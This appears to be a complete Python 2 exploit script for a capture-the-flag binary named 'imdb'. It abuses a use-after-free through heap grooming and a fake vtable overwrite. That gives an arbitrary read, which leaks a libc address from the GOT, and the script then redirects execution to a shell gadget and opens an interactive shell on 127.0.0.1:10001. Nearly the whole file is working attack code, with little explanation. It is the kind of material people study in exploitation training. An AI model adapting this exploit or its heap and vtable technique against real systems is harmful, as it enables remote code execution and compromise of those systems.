from zio import *
import sys,os,subprocess,time


'''
    checksec  --file ./imdb
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
    No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./imdb

    note:
            TV obj has 0xD0 bytes
            Movie obj has 0xD8 bytes


    type:
            UAF

'''

def exploit(host):
    io = None
    try:
        io = zio(host, timeout=1000, print_read=False, print_write=False)
        if not io :
            raise Exception
    except:
        print 'can\'t  caonnect server!'
        exit(0)


    def add_TV(name, Season, Rating, intro):
        assert  len(name) < 64 and len(Season) < 16 and \
                len(Rating)  < 16 and len(intro)  < 128
        io.read_until('Your choice?')
        io.writeline('1')
        io.writeline(name)
        io.writeline(Season)    
        io.writeline(Rating) 
        io.writeline(intro) 

    def add_Movie(name, Actors, Rating, intro):
        assert len(name) < 64 and len(intro)  < 128
        io.read_until('Your choice?')
        io.writeline('2')
        io.writeline(name)
        io.writeline(Actors)    
        io.writeline(Rating) 
        io.writeline(intro) 


    def remove_obj(name):
        io.read_until('Your choice?')
        io.writeline('3')
        io.writeline(str(name))

    def show_all():
        io.read_until('Your choice?')
        io.writeline('4')


    #leak heap base
    def leak_heap():
        return heap

    #leak libc base
    def leak_libc():
        return libc

    def write_TV_Vtable(vtable, mark = ';/bin/sh;'):
        vtable_str = ''
        vtable_size = 0x60
        tv_name = chr(vtable_size + 0x10 + 1)
        for fn in vtable:
            vtable_str += l64(fn)
        vtable_str = vtable_str + '@' * (vtable_size - len(vtable_str) - len(mark)) + mark 
        #print vtable_str
        assert len(vtable_str) == vtable_size
        add_TV('00000000','0','0', '0'*0x7F)
        add_TV('11111111','0','0', '0'*0x7F)
        add_TV('22222222','0','0', '0'*0x7F)
        add_TV('33333333','0','0', '0'*0x7F)
        add_TV('33333333','0','0', '0'*0x7F)
        remove_obj('22222222')
        remove_obj('11111111')
        remove_obj('00000000')
        remove_obj('33333333')
        add_Movie('padding','0'*0xe0,'1', '0'*0x7F)
        # do not remove 'overwriting'
        add_Movie('overwriting',vtable_str,'1', '1'*0x7F)  
        #print "TV: {0}'s vtable has been overwrited!".format(tv_name)
        return tv_name


    def read_any_where_once(where):
        p_nullstub = 0x0004012A0
        p_printMovieInfo = 0x004011B0
        tv_vtable = [p_printMovieInfo, p_nullstub, p_nullstub]  
        tv_name = write_TV_Vtable(vtable=tv_vtable)
        floatnum = 0x0101010101010101
        add_TV('leak_libc','0','0', l64(floatnum) +l64(where))
        #trigger that tv_name will call p_printMovieInfo to leak info from address:where
        show_all()
        io.read_until('Movie <{0}>: '.format(tv_name))
        result = io.read_until('actors: ')
        result = io.readline().strip()
        result = result.ljust(8,'\x00')
        value = l64(result[0:8])
        return value

    #leak info
    got_puts = 0x601C40
    puts = read_any_where_once(got_puts)
    print '[+] puts\t=>\t{0}'.format(hex(puts))

    libc_base = puts - 0x6fe30
    print '[+] libc_base\t=>\t{0}'.format(hex(libc_base))    

    system = libc_base + 0x46640
    print '[+] system\t=>\t{0}'.format(hex(system))    
 
    shot_shell = libc_base + 0x004652C
    print '[+] shot_shell\t=>\t{0}'.format(hex(shot_shell))    

    #fake vtable
    p_nullstub = 0x0004012A0
    p_printMovieInfo = 0x004011B0
    tv_vtable = [shot_shell, shot_shell, shot_shell]  
    tv_name = write_TV_Vtable(tv_vtable)
    
    #trigger that tv_name will call shot_shell
    #remove_obj(tv_name)
    show_all()

    print '[+] shell open '
    io.writeline('id')
    io.interact()



if __name__ == '__main__':
  host  = ('127.0.0.1',10001)
  exploit(host)
    

